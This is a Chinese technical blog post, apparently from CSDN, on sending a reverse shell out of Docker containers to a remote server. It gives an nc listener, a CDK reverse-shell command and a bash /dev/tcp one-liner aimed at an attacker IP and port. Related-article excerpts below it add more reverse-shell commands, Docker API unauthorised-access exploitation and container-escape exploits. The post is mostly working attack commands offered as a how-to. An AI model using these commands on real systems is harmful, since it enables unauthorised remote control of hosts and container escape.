Docker反弹shell

Docker中反弹shell到远程服务器的实战指南
最新推荐文章于 2025-02-18 14:46:05 发布
原创 最新推荐文章于 2025-02-18 14:46:05 发布 · 2.4k 阅读 · 2 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#docker #服务器 #运维

本文详细介绍了如何在Docker环境中利用nc、cdk等工具反弹shell到远程服务器，包括步骤和示例。成功反弹shell后，可以实现远程控制和交互。此外，还提到了使用反引号反弹shell的技巧。

文章前言

本篇文章我们主要介绍一些在Docker中反弹shell到远程服务器的方法

常见方法

Step 1：在远程服务器端监听端口

nc -lnvp 9999

 Step 2：通过CDK反弹shell

#命令格式
cdk run reverse-shell <ip>:<port>

#使用实例
cdk run reverse-shell 192.168.17.143:9999

 Step 3：成功获取到shell

 其他技巧

我们还可以使用反引号来反弹shell

`/bin/bash -i >& /dev/tcp/192.168.17.143/9999 0>&1`

 成功反弹shell：

web渗透测试漏洞复现：docker API未授权漏洞复现并getshell
HACKONE的博客
03-28 809
总结一句话：该命令的作用是在IP为192.168.1.106的远程Docker守护进程上，基于镜像ID为2dc39ba059dc的镜像启动一个新的交互式容器，并挂载主机的根目录到容器内的/mnt目录，然后在新容器中打开一个Bash shell。由于Docker API提供了丰富的功能，它不仅为Docker CLI（命令行界面）提供底层支持，也被许多其他工具和平台广泛采用，如Kubernetes、Docker Compose等，实现了对Docker容器的自动化管理和大规模部署。
Struts2漏洞导致的反弹shell——青藤云安全使用的是agent进程采集器进行检测
djph26741的博客
07-22 1161
安全老司机 | Struts2漏洞爆发后，与黑客的一次正面交锋 from：https://zhuanlan.zhihu.com/p/66122521 备注： 青藤云安全：——用的是进程信息采集器 通过对用户进程行为的实时监控，结合行为分析，及时发现非法shell连接引起的反弹shell行为，可以有效地感知0Day漏洞利用的行为痕迹，可以提供反向shell...
docker未授权访问反弹shell
giaogiao123的博客
07-23 642
标题docker未授权访问反弹shell 首先我们要扫描端口“2375“ 发现目标端口2375开放，尝试访问ip:2375/version 目标靶机ip：192.168.30.101 （cente os 7） 攻击kali ip： 192.168.30.100 （kali2020.3） 访问出现版本泄露而且2375端口开放说明有未授权访问漏洞 在kali上开启监听1111端口 **nc -lvp 1111** 输入以下命令 ip为目标ip docker -H tcp://192.168.30.10
执行容器内的shell_Docker容器逃逸漏洞复现（CVE-2020-15257）
weixin_31014131的博客
01-14 326
一、漏洞介绍漏洞原理Containerd 是一个控制 runC 的守护进程，提供命令行客户端和API，用于在一个机器上管理容器。当在docker使用–net=host参数启动，与宿主机共享net namespace时，容器中的攻击者可以绕过访问权限访问 containerd 的控制API 进而导致权限提升，从而实现Docker容器逃逸。Containerd是行业标准的容器运行时，可作为Linux和...
容器内反弹shell的51种姿势
帮助别人等于帮助自己 ——MXi4oyu
11-19 1751
什么是反弹shell？ 反弹shell（reverse shell），就是控制端监听在某TCP/UDP端口，被控端发起请求到该端口，并将其命令行的输入输出转到控制端。reverse shell与telnet，ssh等标准shell对应，本质上是网络概念的客户端与服务端的角色反转。 为什么要反弹shell？ 通常用于被控端因防火墙受限、权限不足、端口被占用等情形。 举例：假设我们攻击了一台机器，打开了该机器的一个端口，攻击者在自己的机器去连接目标机器（目标ip：目标机器端口），这是比较常规的形式，我们叫做正向
2024年【软件测试】探索和学习SDLC与软件测试的关系，顺利通过阿里软件测试岗面试
2401_84563734的博客
05-08 968
Testing is part of every stage in modern SDLC models. (整合：在现代SDLC模型的每个阶段，测试都是一个组成部分。
反弹shell方法
s0mor
08-16 771
Linux: hacker: 192.168.188.63 (kali) 目标: 192.168.72.130 (ubuntu) kali: 监听指定端口： nc -lvp 1234 ubuntu: 反弹shell 方法一 bash: bash -i >& /dev/tcp/192.168.188.63/1234 0>&1 方法二 python: ...
反弹shell初识
无痕的博客
11-01 4508
反弹shell的指令与演示
最新记一次docker虚拟机横向移动渗透测试_docker 反向shell，想转行当程序员的必看
2401_84715583的博客
05-12 897
将-keylogfile 参数指定的文件，配置到wireshark的Edit -> Preferences -> Protocols ->获取root权限后，还是在docker容器里，利用最新的CVE-2022-0492进行docker容器逃逸。研究许久基本弄明白，zoiper是一个通信程序，最后四位数字是登录名，密码是2022年。我们将两者都传递给我们的机器，在wireshark中我们导入密钥并打开捕获的数据包；一旦我们上传它，我们调用 php 并在另一个容器中接收反向 shell；
复现log4j2的jndi注入成功反弹shell
ailx10
02-18 471
在Apache Solr 中复现的漏洞，获得ailx101956 次咨询4.9网络安全优秀回答者互联网行业 安全攻防员去咨询。
CVE-2017-12149JBOSSas6.X反序列化(反弹shell版)
08-08
CVE-2017-12149 JBOSS as 6.X反序列化(反弹shell版)
apache-CVE-2021-41773[42013]-反弹shell
csd_ct的专栏
02-06 2060
CVE-2021-41773-反弹shell apache-CVE-2021-41773/42013 中存在RCE，可远程执行代码，本想利用bash反弹一个shell,奈何一直没有成功 ‘’’ bash -i >& /de/tcp/ip/port 0>&1 ‘’’ 经典的bash反弹，确定环境和语句都没问题后，本地查看了靶机的日志，看到有如下报错， 很奇怪，为什么会有一个syntax error:Bad fd number的错误呢，而在本地kali中直接执行该语句，是没有问题的
centos系统-docker容器逃逸
suo_y的博客
04-20 1570
docker-runc CVE-2019-5736（runC容器逃逸漏洞） 1、准备漏洞环境： curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh 2、下载poc，编译脚本 a）下载poc：https://github.com/Frichetten/CVE-2019-5736-PoC b）修改payload
Docker逃逸
weixin_57385269的博客
02-16 473
runc是一个底层服务工具，runC 管理容器的创建，运行，销毁等
浅谈反弹shell
weixin_53284312的博客
01-12 2771
反弹shell
云上攻防-云原生篇&Docker安全&系统内核&版本漏洞&CDK自动利用&容器逃逸
SuperherRo的博客
03-03 1948
1、云原生-Docker安全-容器逃逸&内核漏洞 2、云原生-Docker安全-容器逃逸&版本漏洞 3、云原生-Docker安全-容器逃逸&CDK自动化
docker逃逸的几种方法以及其原理
热门推荐
Shanfenglan's blog
10-22 12万+
CATALOG前言利用dirty cow来进行docker逃逸1.前置知识2.利用dirty cow与VDSO来实现docker逃逸的过程3.利用过程1.判断是否为docker环境2.下载脚本3.利用脚本4.利用结果通过cve-2019-5736来达到docker逃逸1.利用原理与条件2.漏洞触发过程3.具体操作第一步：确定docker环境第二步：下载利用脚本并修改第三步：编译脚本第四步：将编译好的main文件上传到docker中第五步：执行脚本并等待此docker再次被exec4.对此种方式利用的理解配置
Linux渗透之反弹Shell命令解析
deeplearnings的博客
08-18 1万+
前言 当我们在渗透Linux主机时，反弹一个交互的shell是非常有必要的。在搜索引擎上搜索关键字“Linux 反弹shell”，会出现一大堆相关文章，但是其内容不但雷同，而且都仅仅是告诉我们执行这个命令就可以反弹shell了，却没有一篇文章介绍这些命令究竟是如何实现反弹shell的。既然大牛们懒得科普，那我就只好自己动手了。本文就来探讨一下相关命令实现的原理。 B
后渗透——内网转发之反弹shell
爱国小白帽
03-16 3523
内网转发目的 渗透测试中，我们往往会面对十分复杂的内网环境。比如最常用的防火墙，它会限制特定端口的数据包出入。 内网转发三种形式 反弹shell 在攻击者机器，获取受害者机器的命令行 反弹端口 受害者服务器的某一个端口不能访问，我们通过反弹端口的形式，让攻击者能够访问该端口 也叫端口转发 反弹代理 将攻击者的流量，转发到内网其他服务器上 实验环境： 瑞士军刀nc Windows ...
用metasploit生产反弹shell
最新发布
03-15
### 使用 Metasploit 框架生成反弹 Shell 的配置说明 #### 配置目标 为了实现从目标主机到攻击者机器的反弹 Shell 连接，可以使用 Metasploit 提供的强大功能。以下是基于 Metasploit 框架生成反弹 Shell 的具体...
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FLy_鹏程万里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值